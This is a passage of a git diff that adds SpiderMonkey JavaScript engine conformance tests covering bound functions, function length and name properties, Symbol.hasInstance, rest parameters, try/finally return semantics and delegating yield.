+assertThrowsInstanceOf(() => eval(`
+(a, ...a) => {
+};
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Function/bound-length-and-name.js b/js/src/tests/ecma_6/Function/bound-length-and-name.js
new file mode 100644
index 000000000..ef2f1ffbc
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/bound-length-and-name.js
@@ -0,0 +1,40 @@
+var proxy = new Proxy(function() {}, {
+ getOwnPropertyDescriptor(target, name) {
+ assertEq(name, "length");
+ return {value: 3, configurable: true};
+ },
+
+ get(target, name) {
+ if (name == "length")
+ return 3;
+ if (name == "name")
+ return "hello world";
+ assertEq(false, true);
+ }
+})
+
+var bound = Function.prototype.bind.call(proxy);
+assertEq(bound.name, "bound hello world");
+assertEq(bound.length, 3);
+
+var fun = function() {};
+Object.defineProperty(fun, "name", {value: 1337});
+Object.defineProperty(fun, "length", {value: "15"});
+bound = fun.bind();
+assertEq(bound.name, "bound ");
+assertEq(bound.length, 0);
+
+Object.defineProperty(fun, "length", {value: Number.MAX_SAFE_INTEGER});
+bound = fun.bind();
+assertEq(bound.length, Number.MAX_SAFE_INTEGER);
+
+Object.defineProperty(fun, "length", {value: -100});
+bound = fun.bind();
+assertEq(bound.length, 0);
+
+fun = function f(a, ...b) { };
+assertEq(fun.length, 1);
+bound = fun.bind();
+assertEq(bound.length, 1);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Function/bound-non-constructable.js b/js/src/tests/ecma_6/Function/bound-non-constructable.js
new file mode 100644
index 000000000..cee1dd580
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/bound-non-constructable.js
@@ -0,0 +1,17 @@
+var objects = [
+ Math.sin.bind(null),
+ new Proxy(Math.sin.bind(null), {}),
+ Function.prototype.bind.call(new Proxy(Math.sin, {}))
+]
+
+for (var obj of objects) {
+ // Target is not constructable, so a new array should be created internally.
+ assertDeepEq(Array.from.call(obj, [1, 2, 3]), [1, 2, 3]);
+ assertDeepEq(Array.of.call(obj, 1, 2, 3), [1, 2, 3]);
+
+ // Make sure they are callable, but not constructable.
+ obj();
+ assertThrowsInstanceOf(() => new obj, TypeError);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Function/bound-prototype.js b/js/src/tests/ecma_6/Function/bound-prototype.js
new file mode 100644
index 000000000..8b0f295a5
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/bound-prototype.js
@@ -0,0 +1,37 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function Bound(fn) {
+ return Function.prototype.bind.call(fn);
+}
+
+var fnDefaultPrototype = function(){};
+assertEq(Object.getPrototypeOf(Bound(fnDefaultPrototype)), Function.prototype);
+
+var fnGeneratorPrototype = function*(){};
+assertEq(Object.getPrototypeOf(Bound(fnGeneratorPrototype)), function*(){}.constructor.prototype);
+
+var fnCustomPrototype = Object.setPrototypeOf(function(){}, Array.prototype);
+assertEq(Object.getPrototypeOf(Bound(fnCustomPrototype)), Array.prototype);
+
+var fnNullPrototype = Object.setPrototypeOf(function(){}, null);
+assertEq(Object.getPrototypeOf(Bound(fnNullPrototype)), null);
+
+
+function LoggingProxy(target) {
+ var log = [];
+ var proxy = new Proxy(target, new Proxy({}, {
+ get(target, propertyKey, receiver) {
+ log.push(propertyKey);
+ }
+ }));
+ return {proxy, log};
+}
+
+var {proxy, log} = LoggingProxy(function(){});
+Bound(proxy);
+assertEqArray(log, ["getPrototypeOf", "getOwnPropertyDescriptor", "get", "get"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Function/browser.js b/js/src/tests/ecma_6/Function/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/browser.js
diff --git a/js/src/tests/ecma_6/Function/configurable-length-builtins.js b/js/src/tests/ecma_6/Function/configurable-length-builtins.js
new file mode 100644
index 000000000..f28eaae15
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/configurable-length-builtins.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Deleting .length from a variety of builtin functions works as expected.
+for (var fun of [Math.sin, Array.prototype.map, eval]) {
+ assertEq(delete fun.length, true);
+ assertEq(fun.hasOwnProperty("length"), false);
+ assertEq("length" in fun, true); // still inheriting Function.prototype.length
+ assertEq(fun.length, 0);
+
+ // The inherited property is nonwritable, so assigning still fails
+ // (silently, in sloppy mode).
+ fun.length = Math.hypot;
+ assertEq(fun.length, 0);
+
+ // It can be shadowed via defineProperty.
+ Object.defineProperty(fun, "length", {value: Math.hypot});
+ assertEq(fun.length, Math.hypot);
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Function/configurable-length.js b/js/src/tests/ecma_6/Function/configurable-length.js
new file mode 100644
index 000000000..127038fb5
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/configurable-length.js
@@ -0,0 +1,86 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Very simple initial test that the "length" property of a function is
+// configurable. More thorough tests follow.
+var f = function (a1, a2, a3, a4) {};
+assertEq(delete f.length, true);
+assertEq(f.hasOwnProperty("length"), false);
+assertEq(f.length, 0); // inherited from Function.prototype.length
+assertEq(delete Function.prototype.length, true);
+assertEq(f.length, undefined);
+
+
+// Now for the details.
+//
+// Many of these tests are poking at the "resolve hook" mechanism SM uses to
+// lazily create this property, which is wonky and deserving of some extra
+// skepticism.
+
+// We've deleted Function.prototype.length. Check that the resolve hook does
+// not resurrect it.
+assertEq("length" in Function.prototype, false);
+Function.prototype.length = 7;
+assertEq(Function.prototype.length, 7);
+delete Function.prototype.length;
+assertEq(Function.prototype.length, undefined);
+
+// OK, define Function.prototype.length back to its original state per spec, so
+// the remaining tests can run in a more typical environment.
+Object.defineProperty(Function.prototype, "length", {value: 0, configurable: true});
+
+// Check the property descriptor of a function length property.
+var g = function f(a1, a2, a3, a4, a5) {};
+var desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+assertEq(desc.value, 5);
+
+// After deleting the length property, assigning to f.length fails because
+// Function.prototype.length is non-writable. In strict mode it would throw.
+delete g.length;
+g.length = 12;
+assertEq(g.hasOwnProperty("length"), false);
+assertEq(g.length, 0);
+
+// After deleting both the length property and Function.prototype.length,
+// assigning to f.length creates a new plain old data property.
+delete Function.prototype.length;
+g.length = 13;
+var desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, true);
+assertEq(desc.writable, true);
+assertEq(desc.value, 13);
+
+// Deleting the .length of one instance of a FunctionDeclaration does not
+// affect other instances.
+function mkfun() {
+ function fun(a1, a2, a3, a4, a5) {}
+ return fun;
+}
+g = mkfun();
+var h = mkfun();
+delete h.length;
+assertEq(g.length, 5);
+assertEq(mkfun().length, 5);
+
+// Object.defineProperty on a brand-new function is sufficient to cause the
+// LENGTH_RESOLVED flag to be set.
+g = mkfun();
+Object.defineProperty(g, "length", {value: 0});
+assertEq(delete g.length, true);
+assertEq(g.hasOwnProperty("length"), false);
+
+// Object.defineProperty on a brand-new function correctly merges new
+// attributes with the builtin ones.
+g = mkfun();
+Object.defineProperty(g, "length", { value: 42 });
+desc = Object.getOwnPropertyDescriptor(g, "length");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+assertEq(desc.value, 42);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Function/construct-bound-proxy-with-many-arguments.js b/js/src/tests/ecma_6/Function/construct-bound-proxy-with-many-arguments.js
new file mode 100644
index 000000000..6c9bb41a3
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/construct-bound-proxy-with-many-arguments.js
@@ -0,0 +1,13 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var proxy = Function.prototype.bind.call(new Proxy(Array, {}));
+for (var i = 10; i < 50; ++i) {
+ var args = Array(i).fill(i);
+ var array = new proxy(...args);
+ assertEqArray(array, args);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Function/function-constructor-toString-arguments-before-parsing-params.js b/js/src/tests/ecma_6/Function/function-constructor-toString-arguments-before-parsing-params.js
new file mode 100644
index 000000000..4e88a0096
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/function-constructor-toString-arguments-before-parsing-params.js
@@ -0,0 +1,23 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 920479;
+var summary =
+ "Convert all arguments passed to Function() to string before doing any " +
+ "parsing of the to-be-created Function's parameters or body text";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertThrowsValue(() => Function("@", { toString() { throw 42; } }), 42);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Function/function-name.js b/js/src/tests/ecma_6/Function/function-name.js
new file mode 100644
index 000000000..7beca56df
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/function-name.js
@@ -0,0 +1,64 @@
+function testFunctionName(f) {
+ var name = f.name;
+ f.name = 'g';
+ assertEq(f.name, name);
+ assertEq(delete f.name, true);
+ assertEq(f.name, '');
+ assertEq(f.hasOwnProperty('name'), false);
+ f.name = 'g';
+ assertEq(f.name, '');
+ Object.defineProperty(f, 'name', {value: 'g'});
+ assertEq(f.name, 'g');
+}
+function testFunctionNameStrict(f) {
+ "use strict";
+ var name = f.name;
+ var error;
+ try {
+ f.name = 'g';
+ } catch (e) {
+ error = e;
+ }
+ assertEq(f.name, name);
+ assertEq(error instanceof TypeError, true);
+ assertEq(delete f.name, true);
+ assertEq(f.name, '');
+ assertEq(f.hasOwnProperty('name'), false);
+ error = null;
+ try {
+ f.name = 'g';
+ } catch (e) {
+ error = e;
+ }
+ assertEq(f.name, '');
+ assertEq(error instanceof TypeError, true);
+ Object.defineProperty(f, 'name', {value: 'g'});
+ assertEq(f.name, 'g');
+}
+
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").writable, false);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").enumerable, false);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").configurable, true);
+assertEq(Object.getOwnPropertyDescriptor(Object, "name").value, 'Object');
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").writable, false);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").enumerable, false);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").configurable, true);
+assertEq(Object.getOwnPropertyDescriptor(function f(){}, "name").value, 'f');
+
+// Basic test ensuring that Object.defineProperty works on pristine function.
+function f() {};
+Object.defineProperty(f, 'name', {value: 'g'});
+assertEq(f.name, 'g');
+
+// .name behaves as expected on scripted function.
+testFunctionName(function f(){});
+testFunctionNameStrict(function f(){});
+// .name behaves as expected on builtin function.
+testFunctionName(Function.prototype.apply);
+testFunctionNameStrict(Function.prototype.call);
+// .name behaves as expected on self-hosted builtin function.
+testFunctionName(Array.prototype.forEach);
+testFunctionNameStrict(Array.prototype.some);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Function/has-instance-jitted.js b/js/src/tests/ecma_6/Function/has-instance-jitted.js
new file mode 100644
index 000000000..a2d33abc7
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/has-instance-jitted.js
@@ -0,0 +1,96 @@
+const OriginalHasInstance = Function.prototype[Symbol.hasInstance];
+
+// Ensure that folding doesn't impact user defined @@hasInstance methods.
+{
+ function Test() {
+ this.x = 1;
+ }
+
+ Object.defineProperty(Test, Symbol.hasInstance,
+ {writable: true, value: () => false});
+
+ function x(t) {
+ return t instanceof Test;
+ }
+
+ function y() {
+ let t = new Test;
+ let b = true;
+ for (let i = 0; i < 10; i++) {
+ b = b && x(t);
+ }
+ return b;
+ }
+
+
+ function z() {
+ let f = 0;
+ let t = 0;
+ for (let i = 0; i < 100; i++)
+ assertEq(y(), false);
+ }
+
+ z();
+}
+
+// Ensure that the jitting does not clobber user defined @@hasInstance methods.
+{
+ function a() {
+ function b() {};
+ b.__proto__ = a.prototype;
+ return b;
+ };
+ let c = new a();
+
+ let t = 0;
+ let f = 0;
+ let e = 0;
+ for (let i = 0; i < 40000; i++) {
+ if (i == 20000)
+ Object.defineProperty(a.prototype, Symbol.hasInstance,
+ {writable: true, value: () => true});
+ if (i == 30000)
+ Object.setPrototypeOf(c, Function.prototype);
+
+ if (1 instanceof c) {
+ t++;
+ } else {
+ f++;
+ }
+ }
+
+ assertEq(t, 10000);
+ assertEq(f, 30000);
+}
+
+{
+ function a() {};
+ function b() {};
+ Object.defineProperty(a, Symbol.hasInstance, {writable: true, value: () => true});
+ assertEq(b instanceof a, true);
+ for (let _ of Array(10000))
+ assertEq(b instanceof a, true);
+}
+
+{
+ function a(){};
+ function b(){};
+ function c(){};
+ function d(){};
+ function e(){};
+ Object.defineProperty(a, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(b, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(c, Symbol.hasInstance, {value: () => true });
+ Object.defineProperty(d, Symbol.hasInstance, {value: () => true });
+ let funcs = [a, b, c, d];
+ for (let f of funcs)
+ assertEq(e instanceof f, true);
+
+ for (let _ of Array(10001)) {
+ for (let f of funcs)
+ assertEq(e instanceof f, true);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Function/has-instance.js b/js/src/tests/ecma_6/Function/has-instance.js
new file mode 100644
index 000000000..f0c7bf28e
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/has-instance.js
@@ -0,0 +1,101 @@
+// It is possible to override Function.prototype[@@hasInstance].
+let passed = false;
+let obj = { foo: true };
+let C = function(){};
+
+Object.defineProperty(C, Symbol.hasInstance, {
+ value: function(inst) { passed = inst.foo; return false; }
+});
+
+assertEq(obj instanceof C, false);
+assertEq(passed, true);
+
+{
+ let obj = {
+ [Symbol.hasInstance](v) { return true; },
+ };
+ let whatevs = {};
+ assertEq(whatevs instanceof obj, true);
+}
+
+{
+
+ function zzzz() {};
+ let xxxx = new zzzz();
+ assertEq(xxxx instanceof zzzz, true);
+ assertEq(zzzz[Symbol.hasInstance](xxxx), true);
+
+}
+
+// Non-callable objects should return false.
+const nonCallables = [
+ 1,
+ undefined,
+ null,
+ "nope",
+]
+
+for (let nonCallable of nonCallables) {
+ assertEq(nonCallable instanceof Function, false);
+ assertEq(nonCallable instanceof Object, false);
+}
+
+// Non-callables should throw when used on the right hand side
+// of `instanceof`.
+assertThrowsInstanceOf(() => {
+ function foo() {};
+ let obj = {};
+ foo instanceof obj;
+}, TypeError);
+
+// Non-callables do not throw for overridden methods
+let o = {[Symbol.hasInstance](v) { return true; }}
+assertEq(1 instanceof o, true);
+
+// Non-callables return false instead of an exception when
+// Function.prototype[Symbol.hasInstance] is called directly.
+for (let nonCallable of nonCallables) {
+ assertEq(Function.prototype[Symbol.hasInstance].call(nonCallable, Object), false);
+}
+
+// It should be possible to call the Symbol.hasInstance method directly.
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, () => 1), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, Object), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, null), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(Function, Array), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Object, Array), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(Array, Function), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(({}), Function), false);
+assertEq(Function.prototype[Symbol.hasInstance].call(), false)
+assertEq(Function.prototype[Symbol.hasInstance].call(({})), false)
+
+// Ensure that bound functions are unwrapped properly
+let bindme = {x: function() {}};
+let instance = new bindme.x();
+let xOuter = bindme.x;
+let bound = xOuter.bind(bindme);
+let doubleBound = bound.bind(bindme);
+let tripleBound = bound.bind(doubleBound);
+assertEq(Function.prototype[Symbol.hasInstance].call(bound, instance), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(doubleBound, instance), true);
+assertEq(Function.prototype[Symbol.hasInstance].call(tripleBound, instance), true);
+
+// Function.prototype[Symbol.hasInstance] is not configurable
+let desc = Object.getOwnPropertyDescriptor(Function.prototype, Symbol.hasInstance);
+assertEq(desc.configurable, false);
+
+// Attempting to use a non-callable @@hasInstance triggers a type error
+// Bug 1280892
+assertThrowsInstanceOf(() => {
+ var fun = function() {}
+ var p = new Proxy(fun, {
+ get(target, key) {
+ return /not-callable/;
+ }
+ });
+ fun instanceof p;
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Function/length-with-destructuring-and-parameter-expression.js b/js/src/tests/ecma_6/Function/length-with-destructuring-and-parameter-expression.js
new file mode 100644
index 000000000..a3f00ac1f
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/length-with-destructuring-and-parameter-expression.js
@@ -0,0 +1,31 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+assertEq(function([a = 0]){}.length, 1);
+assertEq(function({p: a = 0}){}.length, 1);
+assertEq(function({a = 0}){}.length, 1);
+assertEq(function({[0]: a}){}.length, 1);
+
+assertEq(function([a = 0], [b = 0]){}.length, 2);
+assertEq(function({p: a = 0}, [b = 0]){}.length, 2);
+assertEq(function({a = 0}, [b = 0]){}.length, 2);
+assertEq(function({[0]: a}, [b = 0]){}.length, 2);
+
+assertEq(function(x, [a = 0]){}.length, 2);
+assertEq(function(x, {p: a = 0}){}.length, 2);
+assertEq(function(x, {a = 0}){}.length, 2);
+assertEq(function(x, {[0]: a}){}.length, 2);
+
+assertEq(function(x = 0, [a = 0]){}.length, 0);
+assertEq(function(x = 0, {p: a = 0}){}.length, 0);
+assertEq(function(x = 0, {a = 0}){}.length, 0);
+assertEq(function(x = 0, {[0]: a}){}.length, 0);
+
+assertEq(function([a = 0], ...r){}.length, 1);
+assertEq(function({p: a = 0}, ...r){}.length, 1);
+assertEq(function({a = 0}, ...r){}.length, 1);
+assertEq(function({[0]: a}, ...r){}.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Function/line-terminator-before-arrow.js b/js/src/tests/ecma_6/Function/line-terminator-before-arrow.js
new file mode 100644
index 000000000..52bdce7f3
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/line-terminator-before-arrow.js
@@ -0,0 +1,9 @@
+assertThrowsInstanceOf(() => eval("() \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("a \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a) /*\n*/ => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b = 1) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, ...b) \n => {}"), SyntaxError);
+assertThrowsInstanceOf(() => eval("(a, b = 1, ...c) \n => {}"), SyntaxError);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Function/method-has-duplicated.js b/js/src/tests/ecma_6/Function/method-has-duplicated.js
new file mode 100644
index 000000000..dc0a9dfb4
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/method-has-duplicated.js
@@ -0,0 +1,19 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a) {
+}
+
+// SyntaxError should be thrown if method definition has duplicated name.
+assertThrowsInstanceOf(() => eval(`
+({
+ m1(a, a) {
+ }
+});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+({
+ m2(a, ...a) {
+ }
+});
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Function/parameter-redeclaration.js b/js/src/tests/ecma_6/Function/parameter-redeclaration.js
new file mode 100644
index 000000000..74e55e3aa
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/parameter-redeclaration.js
@@ -0,0 +1,19 @@
+// 'var' is allowed to redeclare parameters.
+function f1(a = 0) {
+ var a;
+}
+
+// 'let' and 'const' at body-level are not allowed to redeclare parameters.
+assertThrowsInstanceOf(() => {
+ eval(`function f2(a = 0) {
+ let a;
+ }`);
+}, SyntaxError);
+assertThrowsInstanceOf(() => {
+ eval(`function f3(a = 0) {
+ const a;
+ }`);
+}, SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Function/rest-has-duplicated.js b/js/src/tests/ecma_6/Function/rest-has-duplicated.js
new file mode 100644
index 000000000..67577ab4e
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/rest-has-duplicated.js
@@ -0,0 +1,17 @@
+// Make sure duplicated name is allowed in non-strict.
+function f0(a, a) {
+}
+
+// SyntaxError should be thrown if rest parameter name is duplicated.
+assertThrowsInstanceOf(() => eval(`
+function f1(a, ...a) {
+}
+`), SyntaxError);
+
+// SyntaxError should be thrown if there is a duplicated parameter.
+assertThrowsInstanceOf(() => eval(`
+function f2(a, a, ...b) {
+}
+`), SyntaxError);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Function/rest-parameter-names.js b/js/src/tests/ecma_6/Function/rest-parameter-names.js
new file mode 100644
index 000000000..6cfa01dcf
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/rest-parameter-names.js
@@ -0,0 +1,68 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1288460;
+var summary =
+ "Rest parameters to functions can be named |yield| or |eval| or |let| in "
+ "non-strict code";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f1 = (...yield) => yield + 42;
+assertEq(f1(), "42");
+assertEq(f1(1), "142");
+
+var f2 = (...eval) => eval + 42;
+assertEq(f2(), "42");
+assertEq(f2(1), "142");
+
+var f3 = (...let) => let + 42;
+assertEq(f3(), "42");
+assertEq(f3(1), "142");
+
+function g1(x, ...yield)
+{
+ return yield + x;
+}
+assertEq(g1(0, 42), "420");
+
+function g2(x, ...eval)
+{
+ return eval + x;
+}
+assertEq(g2(0, 42), "420");
+
+function g3(x, ...let)
+{
+ return let + x;
+}
+assertEq(g3(0, 42), "420");
+
+function h()
+{
+ "use strict";
+
+ var badNames = ["yield", "eval", "let"];
+
+ for (var badName of ["yield", "eval", "let"])
+ {
+ assertThrowsInstanceOf(() => eval(`var q = (...${badName}) => ${badName} + 42;`),
+ SyntaxError);
+
+ assertThrowsInstanceOf(() => eval(`function r(x, ...${badName}) { return x + ${badName}; }`),
+ SyntaxError);
+ }
+}
+h();
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Function/return-finally.js b/js/src/tests/ecma_6/Function/return-finally.js
new file mode 100644
index 000000000..fe075d457
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/return-finally.js
@@ -0,0 +1,172 @@
+var BUGNUMBER = 1202134;
+var summary = "Return value should not be overwritten by finally block with normal execution.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== single ====
+
+var f;
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ return 43;
+ }
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ throw 43;
+ }
+};
+var caught = false;
+try {
+ f();
+} catch (e) {
+ assertEq(e, 43);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function() {
+ // F.[[type]] is break
+ do try {
+ return 42;
+ } finally {
+ break;
+ } while (false);
+ return 43;
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is break
+ L: try {
+ return 42;
+ } finally {
+ break L;
+ }
+ return 43;
+};
+assertEq(f(), 43);
+
+f = function() {
+ // F.[[type]] is continue
+ do try {
+ return 42;
+ } finally {
+ continue;
+ } while (false);
+ return 43;
+};
+assertEq(f(), 43);
+
+// ==== nested ====
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ L: try {
+ return 43;
+ } finally {
+ break L;
+ }
+ }
+}
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is normal
+ try {
+ // F.[[type]] is throw
+ try {
+ return 43;
+ } finally {
+ throw 9;
+ }
+ } catch (e) {
+ }
+ }
+};
+assertEq(f(), 42);
+
+f = function() {
+ // F.[[type]] is return
+ try {
+ return 41;
+ } finally {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+ }
+};
+assertEq(f(), 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Function/shell.js b/js/src/tests/ecma_6/Function/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/shell.js
diff --git a/js/src/tests/ecma_6/Function/spread-iterator-primitive.js b/js/src/tests/ecma_6/Function/spread-iterator-primitive.js
new file mode 100644
index 000000000..79320ad7f
--- /dev/null
+++ b/js/src/tests/ecma_6/Function/spread-iterator-primitive.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+function f() {
+}
+
+for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => f(...arg), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-1.js b/js/src/tests/ecma_6/Generators/delegating-yield-1.js
new file mode 100644
index 000000000..f9df1d7f8
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-1.js
@@ -0,0 +1,42 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test that yield* re-yields received results without re-boxing.
+
+function results(results) {
+ var i = 0;
+ function next() {
+ return results[i++];
+ }
+ var iter = { next: next }
+ var ret = {};
+ ret[Symbol.iterator] = function () { return iter; }
+ return ret;
+}
+
+function* yield_results(expected) {
+ return yield* results(expected);
+}
+
+function collect_results(iterable) {
+ var ret = [];
+ var result;
+ var iter = iterable[Symbol.iterator]();
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+// Sanity check.
+assertDeepEq(expected, collect_results(results(expected)));
+assertDeepEq(expected, collect_results(yield_results(expected)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-10.js b/js/src/tests/ecma_6/Generators/delegating-yield-10.js
new file mode 100644
index 000000000..1f317023e
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-10.js
@@ -0,0 +1,49 @@
+// Errors accessing next, done, or value don't cause an exception to be
+// thrown into the iterator of a yield*.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+
+var log = "", inner, outer;
+
+// That var is poisoooooon, p-poison poison...
+var Poison = new Error;
+
+function log_calls(method) {
+ return function () {
+ log += "x"
+ return method.call(this);
+ }
+}
+
+function poison(receiver, prop) {
+ Object.defineProperty(receiver, prop, { get: function () { throw Poison } });
+}
+
+// Poison inner.next.
+inner = g(10);
+outer = delegate(inner);
+inner.throw = log_calls(inner.throw);
+poison(inner, 'next')
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// Poison result value from inner.
+inner = g(10);
+outer = delegate(inner);
